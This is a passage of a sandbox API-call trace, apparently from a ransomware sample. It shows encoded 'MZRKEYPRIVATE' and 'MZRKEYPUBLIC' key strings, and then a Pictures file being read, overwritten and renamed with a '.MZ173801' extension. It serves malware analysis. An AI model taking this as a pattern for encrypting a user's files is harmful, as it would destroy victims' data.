NfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24fc31c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.240] GetCurrentThreadId () returned 0xab4 [0153.240] GetCurrentThreadId () returned 0xab4 [0153.240] GetCurrentThreadId () returned 0xab4 [0153.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250d37c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.241] GetCurrentThreadId () returned 0xab4 [0153.241] GetCurrentThreadId () returned 0xab4 [0153.241] GetCurrentThreadId () returned 0xab4 [0153.241] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BRtkw7h20gut.png" (normalized: "c:\\users\\fd1hvy\\pictures\\brtkw7h20gut.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.241] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.241] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.241] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xe482 [0153.241] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.241] ReadFile (in: hFile=0x294, lpBuffer=0x2515180, nNumberOfBytesToRead=0xe482, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2515180*, lpNumberOfBytesRead=0x19fa18*=0xe482, lpOverlapped=0x0) returned 1 [0153.242] CloseHandle (hObject=0x294) returned 1 [0153.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\BRtkw7h20gut.png" (normalized: "c:\\users\\fd1hvy\\pictures\\brtkw7h20gut.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.245] WriteFile (in: hFile=0x294, lpBuffer=0x25251b0*, nNumberOfBytesToWrite=0xe482, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x25251b0*, lpNumberOfBytesWritten=0x19fa24*=0xe482, lpOverlapped=0x0) returned 1 [0153.247] CloseHandle (hObject=0x294) returned 1 [0153.249] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\BRtkw7h20gut.png" (normalized: "c:\\users\\fd1hvy\\pictures\\brtkw7h20gut.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\BRtkw7h20gut.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\brtkw7h20gut.png.mz173801")) returned 1 [0153.249] GetCurrentThreadId () returned 0xab4 [0153.249] GetCurrentThreadId () returned 0xab4 [0153.249] GetCurrentThreadId () returned 0xab4 [0153.249] GetCurrentThreadId () returned 0xab4 [0153.249] GetCurrentThreadId () returned 0xab4 [0153.249] GetCurrentThreadId () returned 0xab4 [0153.249] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f5def0, ftCreationTime.dwHighDateTime=0x1d5e736, ftLastAccessTime.dwLowDateTime=0xe302f300, ftLastAccessTime.dwHighDateTime=0x1d5e81b, ftLastWriteTime.dwLowDateTime=0xe302f300, ftLastWriteTime.dwHighDateTime=0x1d5e81b, nFileSizeHigh=0x0, nFileSizeLow=0x7bfa, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bzprLu.jpg", cAlternateFileName="")) returned 1 [0153.249] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.250] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\bzprLu.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bzprlu.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f5def0, ftCreationTime.dwHighDateTime=0x1d5e736, ftLastAccessTime.dwLowDateTime=0xe302f300, ftLastAccessTime.dwHighDateTime=0x1d5e81b, ftLastWriteTime.dwLowDateTime=0xe302f300, ftLastWriteTime.dwHighDateTime=0x1d5e81b, nFileSizeHigh=0x0, nFileSizeLow=0x7bfa)) returned 1 [0153.250] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bzprLu.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bzprlu.jpg")) returned 0x20 [0153.250] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bzprLu.jpg", dwFileAttributes=0x80) returned 1 [0153.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuW